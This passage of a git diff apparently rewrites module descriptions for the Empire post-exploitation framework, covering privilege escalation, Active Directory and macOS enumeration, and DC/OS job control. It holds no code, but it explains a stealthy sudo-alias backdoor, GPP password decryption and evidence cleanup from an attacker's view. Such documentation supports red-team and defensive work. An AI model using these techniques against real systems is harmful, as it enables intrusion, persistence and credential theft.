an alias in the .bash_profile to cause the sudo command to execute - a stager and pass through the origional command back to sudo +description: | + A privilege escalation technique that creates a malicious alias in the + user's .bash_profile to intercept and hijack the sudo command. This module establishes + a backdoor by modifying the shell environment to execute a stager payload whenever + the user runs sudo, while transparently passing the original command through to the + legitimate sudo binary. + + The technique works by: + - Creating an alias in .bash_profile that redirects 'sudo' to a custom function + - The function executes the Empire stager to establish a high-privilege agent + - The original sudo command is then executed normally to maintain stealth + - This allows for persistent privilege escalation without requiring password entry + + This method is particularly effective because it leverages the user's existing sudo + privileges and creates a persistent mechanism for elevated access. The backdoor + remains active across shell sessions and can be triggered by any sudo command + execution. software: '' tactics: [] techniques: diff --git a/empire/server/modules/python/privesc/multi/sudo_spawn.yaml b/empire/server/modules/python/privesc/multi/sudo_spawn.yaml index 70dd0e711..893e98d92 100644 --- a/empire/server/modules/python/privesc/multi/sudo_spawn.yaml +++ b/empire/server/modules/python/privesc/multi/sudo_spawn.yaml @@ -3,7 +3,26 @@ authors: - name: Will Schroeder handle: '@harmj0y' link: https://twitter.com/harmj0y -description: Spawns a new Empire agent using sudo. +description: | + A privilege escalation module that leverages sudo access to spawn a new Empire agent + with elevated privileges. This module requires the current user to have sudo privileges + and knowledge of the user's password to execute commands with root-level permissions. + + The module works by: + - Using the provided password to authenticate with sudo + - Downloading and executing the Empire stager with root privileges + - Establishing a new agent process running as the root user + - Maintaining the original agent while creating a high-integrity session + + This technique is useful when: + - The current user has sudo access but the agent is running with limited privileges + - You need to perform operations that require root-level access + - You want to establish a persistent high-privilege foothold on the system + - The target system has sudo configured to require password authentication + + The spawned agent inherits root privileges, allowing access to sensitive system + files, configuration changes, and administrative operations that would otherwise + be restricted to the original user context. software: T1169 tactics: [] techniques: diff --git a/empire/server/modules/python/privesc/osx/dyld_print_to_file.yaml b/empire/server/modules/python/privesc/osx/dyld_print_to_file.yaml index 3ed498b58..7c12d0c09 100644 --- a/empire/server/modules/python/privesc/osx/dyld_print_to_file.yaml +++ b/empire/server/modules/python/privesc/osx/dyld_print_to_file.yaml @@ -3,11 +3,27 @@ authors: - name: '' handle: '@checky_funtime' link: '' -description: 'This modules takes advantage of the environment variable DYLD_PRINT_TO_FILE - in order to escalate privileges on all versions Mac OS X YosemiteWARNING: In order - for this exploit to be performed files will be overwritten and deleted. This can - set off endpoint protection systems and as of initial development, minimal testing - has been performed.' +description: | + Exploits a critical privilege escalation vulnerability in macOS Yosemite (10.10) + through the DYLD_PRINT_TO_FILE environment variable. This vulnerability allows + unprivileged users to write to arbitrary files with root privileges, including + system files that would normally be protected. + + The exploit works by: + - Leveraging the DYLD_PRINT_TO_FILE environment variable to redirect dynamic + linker output to arbitrary file locations + - Exploiting a flaw in the dynamic linker's file handling mechanism + - Writing malicious content to system files with elevated privileges + - Overwriting critical system files to establish persistence or gain root access + + This vulnerability affects all versions of macOS Yosemite (10.10.x) and was + patched in subsequent macOS releases. The exploit is particularly dangerous + because it can overwrite system files and potentially trigger endpoint protection + systems due to the file modification behavior. + + WARNING: This exploit will overwrite and delete files on the target system, + which may trigger security monitoring systems and could potentially cause + system instability. Use with caution in production environments. software: '' tactics: [TA0004] techniques: [T1068] diff --git a/empire/server/modules/python/privesc/osx/piggyback.yaml b/empire/server/modules/python/privesc/osx/piggyback.yaml index ce9603f50..6c7512d9c 100644 --- a/empire/server/modules/python/privesc/osx/piggyback.yaml +++ b/empire/server/modules/python/privesc/osx/piggyback.yaml @@ -3,8 +3,28 @@ authors: - name: '' handle: '@n00py' link: https://twitter.com/n00py1 -description: Spawns a new Empire agent using an existing sudo session. This works - up until El Capitan. +description: | + A macOS-specific privilege escalation technique that exploits sudo session + management to spawn a new Empire agent with elevated privileges. This module + leverages an existing sudo session to execute commands with root privileges + without requiring password re-authentication. + + The technique works by: + - Detecting and utilizing an active sudo session on the system + - Bypassing the normal sudo authentication requirements + - Executing the Empire stager with root privileges + - Establishing a new high-integrity agent process + + This method is particularly effective because it: + - Requires no password input from the attacker + - Works silently in the background + - Leverages legitimate sudo session mechanisms + - Provides immediate privilege escalation + + Compatibility: This technique works on macOS versions up to El Capitan (10.11). + Apple patched this vulnerability in subsequent releases, making it ineffective + on newer macOS versions. This makes it a valuable technique for targeting + legacy macOS systems that may still be in use in enterprise environments. software: T1169 tactics: [] techniques: diff --git a/empire/server/modules/python/privesc/windows/get_gpppasswords.yaml b/empire/server/modules/python/privesc/windows/get_gpppasswords.yaml index 4b62ad56d..ef2a48bf2 100644 --- a/empire/server/modules/python/privesc/windows/get_gpppasswords.yaml +++ b/empire/server/modules/python/privesc/windows/get_gpppasswords.yaml @@ -3,8 +3,30 @@ authors: - name: '' handle: '@424f424f' link: https://twitter.com/424f424f -description: This module will attempt to pull group policy preference passwords from - SYSVOL +description: | + A Windows privilege escalation and credential harvesting module that extracts + encrypted passwords stored in Group Policy Preferences (GPP) from the SYSVOL + share. This module exploits a well-known vulnerability where GPP passwords + are stored in XML files with weak encryption that can be easily decrypted. + + The module works by: + - Connecting to the domain controller via LDAP to enumerate computers + - Mounting the SYSVOL share to access Group Policy files + - Searching for XML files containing GPP password data + - Extracting encrypted passwords (cpassword) and associated usernames + - Parsing the results to identify potential credential pairs + + This technique is particularly effective because: + - GPP passwords use a known encryption key that can be easily decrypted + - Many organizations still use GPP for password management despite the vulnerability + - The SYSVOL share is typically accessible to all domain users + - Extracted credentials often have elevated privileges + + The extracted credentials can include: + - Local administrator passwords + - Service account credentials + - User account passwords set via GPP + - Database and application passwords software: '' tactics: [] techniques: diff --git a/empire/server/modules/python/situational_awareness/host/multi/SuidGuidSearch.yaml b/empire/server/modules/python/situational_awareness/host/multi/SuidGuidSearch.yaml index f4b55755c..2d3e60f1c 100644 --- a/empire/server/modules/python/situational_awareness/host/multi/SuidGuidSearch.yaml +++ b/empire/server/modules/python/situational_awareness/host/multi/SuidGuidSearch.yaml @@ -1,9 +1,15 @@ -name: Search for world writeable files +name: Search for SUID/GUID files authors: - name: '' handle: '@424f424f' link: https://twitter.com/424f424f -description: This module can be used to identify suid or guid bit set on files. +description: | + Searches for files with SUID (Set User ID) or GUID (Set Group ID) + permissions set, which can be exploited for privilege escalation. + Uses the find command to recursively search the filesystem for + files with elevated permissions that execute with the privileges + of the file owner or group. Displays detailed file information + including permissions, owner, group, and file path. software: '' tactics: [] techniques: diff --git a/empire/server/modules/python/situational_awareness/host/multi/WorldWriteableFileSearch.yaml b/empire/server/modules/python/situational_awareness/host/multi/WorldWriteableFileSearch.yaml index ec5467096..d17f487ab 100644 --- a/empire/server/modules/python/situational_awareness/host/multi/WorldWriteableFileSearch.yaml +++ b/empire/server/modules/python/situational_awareness/host/multi/WorldWriteableFileSearch.yaml @@ -3,7 +3,14 @@ authors: - name: '' handle: '@424f424f' link: https://twitter.com/424f424f -description: This module can be used to identify world writeable files. +description: | + Searches for world-writable directories that can be exploited for + privilege escalation or persistence. Uses the find command to + recursively search the filesystem for directories with write + permissions for all users (other than sticky bit directories). + Identifies potential attack vectors where malicious files can be + placed or where privilege escalation can be achieved through + file manipulation. software: '' tactics: [] techniques: diff --git a/empire/server/modules/python/situational_awareness/host/multi/linpeas.yaml b/empire/server/modules/python/situational_awareness/host/multi/linpeas.yaml index 2a156a192..612210b80 100644 --- a/empire/server/modules/python/situational_awareness/host/multi/linpeas.yaml +++ b/empire/server/modules/python/situational_awareness/host/multi/linpeas.yaml @@ -3,8 +3,14 @@ authors: - name: Anthony Rose handle: Cx01N link: https://twitter.com/Cx01N_ -description: LinPEAS is a script that search for possible paths to escalate privileges - on Linux/Unix*/MacOS hosts. +description: | + Executes LinPEAS (Linux Privilege Escalation Awesome Script) to perform + comprehensive privilege escalation reconnaissance on Linux, Unix, and + macOS systems. Scans for common privilege escalation vectors including + SUID binaries, writable files, cron jobs, environment variables, + kernel exploits, and misconfigured services. Provides detailed output + of potential attack paths and security misconfigurations that could + lead to privilege escalation. software: '' tactics: [] techniques: diff --git a/empire/server/modules/python/situational_awareness/host/osx/HijackScanner.yaml b/empire/server/modules/python/situational_awareness/host/osx/HijackScanner.yaml index 8a000057e..08cb3b463 100644 --- a/empire/server/modules/python/situational_awareness/host/osx/HijackScanner.yaml +++ b/empire/server/modules/python/situational_awareness/host/osx/HijackScanner.yaml @@ -6,9 +6,29 @@ authors: - name: Chris Ross handle: '@xorrior' link: https://twitter.com/xorrior -description: This module can be used to identify applications vulnerable to dylib - hijacking on a target system. This has been modified from the original to remove - the dependancy for the macholib library. +description: | + A sophisticated macOS vulnerability scanner that identifies applications + vulnerable to dynamic library (dylib) hijacking attacks. This module + performs comprehensive binary analysis to detect potential privilege + escalation and persistence opportunities through library hijacking. + + The module scans macOS binaries for weak library loading mechanisms + that can be exploited to inject malicious code through dylib hijacking. + This vulnerability occurs when applications load libraries from writable + locations or use relative paths that can be manipulated by unprivileged + users. + + The scanner analyzes both running processes and static binaries to identify + applications that load libraries from insecure locations or use vulnerable + loading mechanisms. This information is essential for identifying potential + privilege escalation vectors and persistence mechanisms that can be exploited + to maintain elevated access on compromised macOS systems. + + The enumeration results provide critical intelligence for privilege escalation + and persistence by revealing applications vulnerable to dylib hijacking attacks. + This module is fundamental for macOS security assessment and helps operators + identify potential attack vectors for maintaining elevated privileges through + library injection techniques. software: '' tactics: [] techniques: diff --git a/empire/server/modules/python/situational_awareness/host/osx/situational_awareness.yaml b/empire/server/modules/python/situational_awareness/host/osx/situational_awareness.yaml index a7411aab3..8485a5c9d 100644 --- a/empire/server/modules/python/situational_awareness/host/osx/situational_awareness.yaml +++ b/empire/server/modules/python/situational_awareness/host/osx/situational_awareness.yaml @@ -6,7 +6,23 @@ authors: - name: '' handle: '@Killswitch-GUI' link: '' -description: This module will enumerate the basic items needed for OP. +description: | + A comprehensive macOS host enumeration module that performs essential + situational awareness gathering for operational planning and target + analysis. This module collects critical system information to understand + the target environment and identify potential attack vectors. + + The module enumerates basic system information including user accounts, + installed applications, network configurations, and recent user activity. + This information is essential for understanding the target's environment, + identifying potential vulnerabilities, and planning subsequent attack + strategies based on the discovered system state. + + The enumeration results provide critical intelligence for operational + planning by revealing the target's system configuration, user behavior + patterns, and potential attack surfaces. This module is fundamental for + host reconnaissance and helps operators understand the target environment + to identify the most effective attack vectors and persistence mechanisms. software: '' tactics: [] techniques: diff --git a/empire/server/modules/python/situational_awareness/network/active_directory/dscl_get_groupmembers.yaml b/empire/server/modules/python/situational_awareness/network/active_directory/dscl_get_groupmembers.yaml index 81b9663c9..99bae43f3 100644 --- a/empire/server/modules/python/situational_awareness/network/active_directory/dscl_get_groupmembers.yaml +++ b/empire/server/modules/python/situational_awareness/network/active_directory/dscl_get_groupmembers.yaml @@ -3,8 +3,25 @@ authors: - name: '' handle: '@424f424f' link: https://twitter.com/424f424f -description: This module will use the current user context to query active directory - for a list of users in a group. +description: | + A macOS-specific Active Directory enumeration module that leverages the + Directory Service command line utility (dscl) to query group membership + information using the current user's authentication context. This module + performs targeted reconnaissance to identify users with elevated privileges + within specified groups. + + The module uses dscl to query Active Directory for group membership data + without requiring explicit LDAP credentials, relying instead on the current + user's domain authentication. This approach is particularly useful in + macOS environments where dscl provides native Active Directory integration + and can access domain information through the system's directory services. + + The enumeration results provide critical intelligence for privilege escalation + and lateral movement by revealing users with administrative access and + understanding the domain's security group structure. This module is essential + for macOS-based domain reconnaissance and helps operators identify potential + targets for credential harvesting and privilege escalation attacks using + native macOS directory service capabilities. software: '' tactics: [] techniques: diff --git a/empire/server/modules/python/situational_awareness/network/active_directory/dscl_get_groups.yaml b/empire/server/modules/python/situational_awareness/network/active_directory/dscl_get_groups.yaml index 3f066e082..da2c08c1d 100644 --- a/empire/server/modules/python/situational_awareness/network/active_directory/dscl_get_groups.yaml +++ b/empire/server/modules/python/situational_awareness/network/active_directory/dscl_get_groups.yaml @@ -3,8 +3,26 @@ authors: - name: '' handle: '@424f424f' link: https://twitter.com/424f424f -description: This module will use the current user context to query active directory - for a list of Groups. +description: | + A macOS-specific Active Directory enumeration module that leverages the + Directory Service command line utility (dscl) to query all groups within + the target domain using the current user's authentication context. This + module performs essential reconnaissance to understand organizational + structure and privilege distribution through native macOS directory services. + + The module uses dscl to query Active Directory for all group objects + without requiring explicit LDAP credentials, relying instead on the current + user's domain authentication. This approach is particularly effective in + macOS environments where dscl provides seamless Active Directory integration + and can access domain information through the system's built-in directory + service framework. + + The enumeration results provide critical intelligence for privilege escalation + and lateral movement by revealing the complete group structure within the + domain. This module is fundamental for macOS-based domain reconnaissance + and helps operators identify potential targets for group-based attacks and + understand the organizational hierarchy for targeted social engineering + campaigns using native macOS capabilities. software: '' tactics: [] techniques: diff --git a/empire/server/modules/python/situational_awareness/network/active_directory/dscl_get_users.yaml b/empire/server/modules/python/situational_awareness/network/active_directory/dscl_get_users.yaml index 8872aa622..e2cb5114f 100644 --- a/empire/server/modules/python/situational_awareness/network/active_directory/dscl_get_users.yaml +++ b/empire/server/modules/python/situational_awareness/network/active_directory/dscl_get_users.yaml @@ -3,8 +3,26 @@ authors: - name: '' handle: '@424f424f' link: https://twitter.com/424f424f -description: This module will use the current user context to query active directory - for a list of users. +description: | + A macOS-specific Active Directory enumeration module that leverages the + Directory Service command line utility (dscl) to query all user accounts + within the target domain using the current user's authentication context. + This module performs essential reconnaissance to identify potential targets + for credential harvesting and social engineering attacks. + + The module uses dscl to query Active Directory for all user objects without + requiring explicit LDAP credentials, relying instead on the current user's + domain authentication. This approach is particularly effective in macOS + environments where dscl provides native Active Directory integration and + can access domain information through the system's directory service + framework without additional authentication overhead. + + The enumeration results provide critical intelligence for user targeting + and social engineering by revealing the complete user base within the + domain. This module is fundamental for macOS-based domain reconnaissance + and helps operators identify potential targets for credential harvesting, + privilege escalation, and targeted attacks based on user roles and + organizational structure using native macOS directory service capabilities. software: '' tactics: [] techniques: diff --git a/empire/server/modules/python/situational_awareness/network/active_directory/get_computers.yaml b/empire/server/modules/python/situational_awareness/network/active_directory/get_computers.yaml index 4ced44ef4..3d0b6f3ce 100644 --- a/empire/server/modules/python/situational_awareness/network/active_directory/get_computers.yaml +++ b/empire/server/modules/python/situational_awareness/network/active_directory/get_computers.yaml @@ -3,7 +3,23 @@ authors: - name: '' handle: '@424f424f' link: https://twitter.com/424f424f -description: This module will list all computer objects from active directory +description: | + An Active Directory enumeration module that retrieves a comprehensive list + of all computer objects within the target domain. This module performs + essential reconnaissance to map the network infrastructure and identify + potential targets for lateral movement and privilege escalation. + + The module queries Active Directory via LDAP to extract all computer objects + including workstations, servers, and domain controllers. This information + is essential for understanding the network topology and identifying + potential targets for lateral movement and privilege escalation attacks. + + The enumeration results provide critical intelligence for network mapping + and lateral movement by revealing the complete computer infrastructure + within the domain. This module is fundamental for domain reconnaissance + and helps operators identify potential targets for credential harvesting, + privilege escalation, and lateral movement based on computer roles and + network positioning. software: '' tactics: [] techniques: diff --git a/empire/server/modules/python/situational_awareness/network/active_directory/get_domaincontrollers.yaml b/empire/server/modules/python/situational_awareness/network/active_directory/get_domaincontrollers.yaml index 1af79541d..02e7ae96f 100644 --- a/empire/server/modules/python/situational_awareness/network/active_directory/get_domaincontrollers.yaml +++ b/empire/server/modules/python/situational_awareness/network/active_directory/get_domaincontrollers.yaml @@ -3,7 +3,23 @@ authors: - name: '' handle: '@424f424f' link: https://twitter.com/424f424f -description: This module will list all domain controllers from active directory +description: | + An Active Directory enumeration module that identifies all domain controllers + within the target domain. This module performs critical reconnaissance to + map the authentication infrastructure and identify high-value targets for + privilege escalation and persistence. + + The module queries Active Directory via LDAP to extract domain controller + objects using specific userAccountControl flags that identify DCs. This + information is essential for understanding the domain's authentication + infrastructure and identifying primary targets for credential harvesting + and privilege escalation. + + The enumeration results provide critical intelligence for domain compromise + and persistence by revealing the complete domain controller infrastructure. + This module is fundamental for domain reconnaissance and helps operators + identify the most valuable targets for credential harvesting, privilege + escalation, and establishing persistent access to the domain infrastructure. software: '' tactics: [] techniques: diff --git a/empire/server/modules/python/situational_awareness/network/active_directory/get_fileservers.yaml b/empire/server/modules/python/situational_awareness/network/active_directory/get_fileservers.yaml index 5fdc84216..1148d0193 100644 --- a/empire/server/modules/python/situational_awareness/network/active_directory/get_fileservers.yaml +++ b/empire/server/modules/python/situational_awareness/network/active_directory/get_fileservers.yaml @@ -3,7 +3,23 @@ authors: - name: '' handle: '@424f424f' link: https://twitter.com/424f424f -description: This module will list file servers +description: | + An Active Directory enumeration module that identifies file servers and shared + resources within the target domain via LDAP queries. This module performs + essential reconnaissance to map file storage infrastructure and potential + data exfiltration targets. + + The module queries user accounts for home directory configurations, script path + information, and profile path data to identify file server locations and shared + resource mappings. This information is crucial for understanding the domain's + file storage infrastructure and identifying potential data exfiltration targets. + + The enumeration results provide a foundation for data exfiltration from file + servers, lateral movement through shared resources, and understanding data + storage and backup infrastructure. This module is essential for comprehensive + domain reconnaissance and helps operators identify valuable data storage + locations and shared resources within the target environment for data harvesting + and lateral movement strategies. software: '' tactics: [] techniques: diff --git a/empire/server/modules/python/situational_awareness/network/active_directory/get_groupmembers.yaml b/empire/server/modules/python/situational_awareness/network/active_directory/get_groupmembers.yaml index fc3b1a392..df66e689b 100644 --- a/empire/server/modules/python/situational_awareness/network/active_directory/get_groupmembers.yaml +++ b/empire/server/modules/python/situational_awareness/network/active_directory/get_groupmembers.yaml @@ -3,7 +3,22 @@ authors: - name: '' handle: '@424f424f' link: https://twitter.com/424f424f -description: This module will return a list of group members +description: | + An Active Directory enumeration module that retrieves membership information + for specified groups within the target domain. This module performs targeted + reconnaissance to identify users with elevated privileges and understand + organizational structure through group membership analysis. + + The module queries Active Directory via LDAP to extract member information + from specified groups, defaulting to Domain Admins if no group is specified. + This information is essential for understanding privilege distribution and + identifying high-value targets within the domain. + + The enumeration results provide critical intelligence for privilege escalation + and lateral movement by identifying users with administrative access and + understanding the domain's security group structure. This module is fundamental + for domain reconnaissance and helps operators identify potential targets + for credential harvesting and privilege escalation attacks. software: '' tactics: [] techniques: diff --git a/empire/server/modules/python/situational_awareness/network/active_directory/get_groupmemberships.yaml b/empire/server/modules/python/situational_awareness/network/active_directory/get_groupmemberships.yaml index 18682c6d5..3603a4b7c 100644 --- a/empire/server/modules/python/situational_awareness/network/active_directory/get_groupmemberships.yaml +++ b/empire/server/modules/python/situational_awareness/network/active_directory/get_groupmemberships.yaml @@ -3,7 +3,22 @@ authors: - name: '' handle: '@424f424f' link: https://twitter.com/424f424f -description: This module check what groups a user is member of +description: | + An Active Directory enumeration module that identifies all group memberships + for a specified user within the target domain. This module performs targeted + reconnaissance to understand user privileges and organizational role through + comprehensive group membership analysis. + + The module queries Active Directory via LDAP to extract all group memberships + for the specified user account. This information is essential for understanding + the user's privilege level, access rights, and organizational position within + the domain structure. + + The enumeration results provide critical intelligence for privilege escalation + and access control analysis by revealing the complete scope of a user's + permissions and group affiliations. This module is fundamental for user + reconnaissance and helps operators understand the target's role and potential + access to sensitive resources within the domain. software: '' tactics: [] techniques: diff --git a/empire/server/modules/python/situational_awareness/network/active_directory/get_groups.yaml b/empire/server/modules/python/situational_awareness/network/active_directory/get_groups.yaml index 481273e8d..1732fd2bd 100644 --- a/empire/server/modules/python/situational_awareness/network/active_directory/get_groups.yaml +++ b/empire/server/modules/python/situational_awareness/network/active_directory/get_groups.yaml @@ -3,7 +3,22 @@ authors: - name: '' handle: '@424f424f' link: https://twitter.com/424f424f -description: This module will list all groups in active directory +description: | + An Active Directory enumeration module that retrieves a comprehensive list + of all groups within the target domain. This module performs essential + reconnaissance to understand organizational structure and privilege + distribution through group analysis. + + The module queries Active Directory via LDAP to extract all group objects + including security groups, distribution groups, and built-in groups. This + information is essential for understanding the domain's access control + structure and identifying high-value groups for privilege escalation. + + The enumeration results provide critical intelligence for privilege escalation + and lateral movement by revealing the complete group structure within the + domain. This module is fundamental for domain reconnaissance and helps + operators identify potential targets for group-based attacks and understand + the organizational hierarchy for targeted social engineering campaigns. software: '' tactics: [] techniques: diff --git a/empire/server/modules/python/situational_awareness/network/active_directory/get_ous.yaml b/empire/server/modules/python/situational_awareness/network/active_directory/get_ous.yaml index d39a4c40a..3ddd2bd96 100644 --- a/empire/server/modules/python/situational_awareness/network/active_directory/get_ous.yaml +++ b/empire/server/modules/python/situational_awareness/network/active_directory/get_ous.yaml @@ -3,7 +3,24 @@ authors: - name: '' handle: '@424f424f' link: https://twitter.com/424f424f -description: This module will list all OUs from active directory +description: | + An Active Directory enumeration module that retrieves all Organizational + Units (OUs) within the target domain. This module performs essential + reconnaissance to understand the domain's organizational structure and + administrative hierarchy for targeted attacks and social engineering. + + The module queries Active Directory via LDAP to extract all OU objects + that define the domain's organizational structure. This information is + essential for understanding how the domain is organized and identifying + potential targets based on organizational positioning and administrative + responsibilities. + + The enumeration results provide critical intelligence for targeted attacks + and social engineering by revealing the complete organizational structure + within the domain. This module is fundamental for domain reconnaissance + and helps operators understand the administrative hierarchy and identify + potential targets for privilege escalation and lateral movement based on + organizational roles and responsibilities. software: '' tactics: [] techniques: diff --git a/empire/server/modules/python/situational_awareness/network/active_directory/get_userinformation.yaml b/empire/server/modules/python/situational_awareness/network/active_directory/get_userinformation.yaml index b59d3251c..635117116 100644 --- a/empire/server/modules/python/situational_awareness/network/active_directory/get_userinformation.yaml +++ b/empire/server/modules/python/situational_awareness/network/active_directory/get_userinformation.yaml @@ -3,7 +3,23 @@ authors: - name: '' handle: '@424f424f' link: https://twitter.com/424f424f -description: This module will return the user profile specified +description: | + An Active Directory enumeration module that retrieves comprehensive user profile + information for a specified user account within the target domain. This module + performs detailed reconnaissance to gather complete user attributes and account + details for intelligence gathering and targeting purposes. + + The module queries Active Directory via LDAP to extract all available user + attributes including account details, contact information, organizational data, + and security settings. This information is essential for understanding the + user's role, privileges, and potential access to sensitive resources within + the domain. + + The enumeration results provide critical intelligence for social engineering, + privilege escalation, and lateral movement by revealing detailed user profiles + and organizational relationships. This module is fundamental for user + reconnaissance and helps operators build comprehensive profiles of potential + targets for credential harvesting and targeted attacks. software: '' tactics: [] techniques: diff --git a/empire/server/modules/python/situational_awareness/network/active_directory/get_users.yaml b/empire/server/modules/python/situational_awareness/network/active_directory/get_users.yaml index ac8ceecc6..4cc335d22 100644 --- a/empire/server/modules/python/situational_awareness/network/active_directory/get_users.yaml +++ b/empire/server/modules/python/situational_awareness/network/active_directory/get_users.yaml @@ -3,7 +3,22 @@ authors: - name: '' handle: '@424f424f' link: https://twitter.com/424f424f -description: This module list users found in Active Directory +description: | + An Active Directory enumeration module that retrieves a comprehensive list + of all user accounts within the target domain. This module performs essential + reconnaissance to identify potential targets for credential harvesting and + social engineering attacks. + + The module queries Active Directory via LDAP to extract all user accounts + while filtering out computer accounts and service accounts. This information + is essential for understanding the domain's user population and identifying + potential targets for privilege escalation and lateral movement. + + The enumeration results provide critical intelligence for user targeting + and social engineering by revealing the complete user base within the domain. + This module is fundamental for domain reconnaissance and helps operators + identify potential targets for credential harvesting, privilege escalation, + and targeted attacks based on user roles and organizational structure. software: '' tactics: [] techniques: diff --git a/empire/server/modules/python/situational_awareness/network/dcos/chronos_api_add_job.yaml b/empire/server/modules/python/situational_awareness/network/dcos/chronos_api_add_job.yaml index 75965d948..c583fe8f8 100644 --- a/empire/server/modules/python/situational_awareness/network/dcos/chronos_api_add_job.yaml +++ b/empire/server/modules/python/situational_awareness/network/dcos/chronos_api_add_job.yaml @@ -3,7 +3,13 @@ authors: - name: Bryce Kunz handle: '@TweekFawkes' link: https://twitter.com/TweekFawkes -description: Add a Chronos job using the HTTP API service for the Chronos Framework +description: | + Creates scheduled jobs on Apache Chronos using the Chronos REST API. + Leverages Chronos' distributed job scheduler capabilities to create + recurring tasks with configurable schedules, resource allocations, + and execution parameters. Sends JSON payloads to the Chronos API + to define new scheduled jobs with specified commands, owners, + descriptions, and ISO8601 schedule formats. software: '' tactics: [] techniques: diff --git a/empire/server/modules/python/situational_awareness/network/dcos/chronos_api_delete_job.yaml b/empire/server/modules/python/situational_awareness/network/dcos/chronos_api_delete_job.yaml index 073310112..08e94274a 100644 --- a/empire/server/modules/python/situational_awareness/network/dcos/chronos_api_delete_job.yaml +++ b/empire/server/modules/python/situational_awareness/network/dcos/chronos_api_delete_job.yaml @@ -3,7 +3,15 @@ authors: - name: Bryce Kunz handle: '@TweekFawkes' link: https://twitter.com/TweekFawkes -description: Delete a Chronos job using the HTTP API service for the Chronos Framework +description: | + Removes scheduled jobs from Apache Chronos using the Chronos REST API. + Sends DELETE requests to the Chronos API endpoint to terminate and + remove specified scheduled jobs from the distributed job scheduler. + Uses a custom HTTP request class to handle DELETE method operations + not natively supported by urllib2. Useful for cleaning up evidence + after scheduled job operations, removing persistence mechanisms, + and managing the lifecycle of scheduled tasks in cloud-native + environments. software: '' tactics: [] techniques: diff --git a/empire/server/modules/python/situational_awareness/network/dcos/chronos_api_start_job.yaml b/empire/server/modules/python/situational_awareness/network/dcos/chronos_api_start_job.yaml index 63e037ccc..8d191b300 100644 --- a/empire/server/modules/python/situational_awareness/network/dcos/chronos_api_start_job.yaml +++ b/empire/server/modules/python/situational_awareness/network/dcos/chronos_api_start_job.yaml @@ -3,7 +3,16 @@ authors: - name: Bryce Kunz handle: '@TweekFawkes' link: https://twitter.com/TweekFawkes -description: Start a Chronos job using the HTTP API service for the Chronos Framework +description: | + Manually triggers the execution of a scheduled job on Apache Chronos + using the Chronos REST API. Sends PUT requests to the Chronos API + endpoint to immediately start a specified scheduled job without + waiting for its configured schedule. Uses a custom HTTP request + class to handle PUT method operations not natively supported by + urllib2. Useful for on-demand execution of scheduled tasks, + testing job configurations, and triggering immediate command + execution through the distributed job scheduler in cloud-native + environments. software: '' tactics: [] techniques: diff --git a/empire/server/modules/python/situational_awareness/network/dcos/etcd_crawler.yaml b/empire/server/modules/python/situational_awareness/network/dcos/etcd_crawler.yaml index 37a88f7d0..444850fe3 100644 --- a/empire/server/modules/python/situational_awareness/network/dcos/etcd_crawler.yaml +++ b/empire/server/modules/python/situational_awareness/network/dcos/etcd_crawler.yaml @@ -6,7 +6,15 @@ authors: - name: Bryce Kunz handle: '@TweekFawkes' link: https://twitter.com/TweekFawkes -description: Pull keys and values from an etcd configuration store +description: | + Crawls and extracts key-value pairs from an etcd distributed key-value + store using the etcd HTTP API. Recursively traverses the etcd hierarchy + to discover configuration data, secrets, and application settings stored + in the distributed configuration store. Supports configurable depth + limits for controlling the scope of the crawl. Useful for reconnaissance + of container orchestration platforms, discovering sensitive configuration + data, and understanding the architecture of cloud-native applications + that use etcd for configuration management. software: '' tactics: [] techniques: diff --git a/empire/server/modules/python/situational_awareness/network/dcos/marathon_api_create_start_app.yaml b/empire/server/modules/python/situational_awareness/network/dcos/marathon_api_create_start_app.yaml index 2146c7e28..78bc61041 100644 --- a/empire/server/modules/python/situational_awareness/network/dcos/marathon_api_create_start_app.yaml +++ b/empire/server/modules/python/situational_awareness/network/dcos/marathon_api_create_start_app.yaml @@ -3,7 +3,13 @@ authors: - name: Bryce Kunz handle: '@TweekFawkes' link: https://twitter.com/TweekFawkes -description: Create and Start a Marathon App using Marathon's REST API +description: | + Creates and starts applications on Apache Marathon using the Marathon + REST API. Leverages Marathon's container orchestration capabilities + to deploy custom applications with configurable resource allocations + including CPU, memory, and disk space. Sends JSON payloads to the + Marathon API endpoint to create new application definitions and + immediately start the specified number of instances. software: '' tactics: [] techniques: diff --git a/empire/server/modules/python/situational_awareness/network/dcos/marathon_api_delete_app.yaml b/empire/server/modules/python/situational_awareness/network/dcos/marathon_api_delete_app.yaml index 64c72c6d3..171d6dbc0 100644 --- a/empire/server/modules/python/situational_awareness/network/dcos/marathon_api_delete_app.yaml +++ b/empire/server/modules/python/situational_awareness/network/dcos/marathon_api_delete_app.yaml @@ -3,7 +3,15 @@ authors: - name: Bryce Kunz handle: '@TweekFawkes' link: https://twitter.com/TweekFawkes -description: Delete a Marathon App using Marathon's REST API +description: | + Removes applications from Apache Marathon using the Marathon REST API. + Sends DELETE requests to the Marathon API endpoint to terminate and + remove specified applications from the container orchestration platform. + Uses a custom HTTP request class to handle DELETE method operations + not natively supported by urllib2. Useful for cleaning up evidence + after container-based operations, removing persistence mechanisms, + and managing the lifecycle of deployed applications in cloud-native + environments. software: '' tactics: [] techniques: diff --git a/empire/server/modules/python/situational_awareness/network/find_fruit.yaml b/empire/server/modules/python/situational_awareness/network/find_fruit.yaml index 461254667..cf96b76ce 100644 --- a/empire/server/modules/python/situational_awareness/network/find_fruit.yaml +++ b/empire/server/modules/python/situational_awareness/network/find_fruit.yaml @@ -3,7 +3,15 @@ authors: - name: '' handle: '@424f424f' link: https://twitter.com/424f424f -description: Searches for low-hanging web applications. +description: | + Scans for common web application endpoints and administrative interfaces + that are often left exposed and vulnerable. Tests for known default + paths and common web application management consoles including JBoss + JMX console, Tomcat manager, WordPress admin, IBM WebSphere console, + and other frequently misconfigured web interfaces. Supports both HTTP + and HTTPS scanning with configurable ports and CIDR notation for + network-wide scanning. Identifies potential low-hanging fruit targets + that may be misconfigured or running with default credentials. software: '' tactics: [] techniques: diff --git a/empire/server/modules/python/situational_awareness/network/gethostbyname.yaml b/empire/server/modules/python/situational_awareness/network/gethostbyname.yaml index 3b0e9d748..e035c199e 100644 --- a/empire/server/modules/python/situational_awareness/network/gethostbyname.yaml +++ b/empire/server/modules/python/situational_awareness/network/gethostbyname.yaml @@ -3,8 +3,13 @@ authors: - name: Bryce Kunz handle: '@TweekFawkes' link: https://twitter.com/TweekFawkes -description: Uses Python's socket.gethostbyname("example.com") function to resolve - host names on a remote agent. +description: | + Performs DNS resolution to translate hostnames, domain names, or FQDNs + to their corresponding IPv4 addresses using Python's socket library. + Leverages the remote agent's network configuration and DNS settings + to resolve hostnames through the target system's DNS infrastructure. + Provides essential 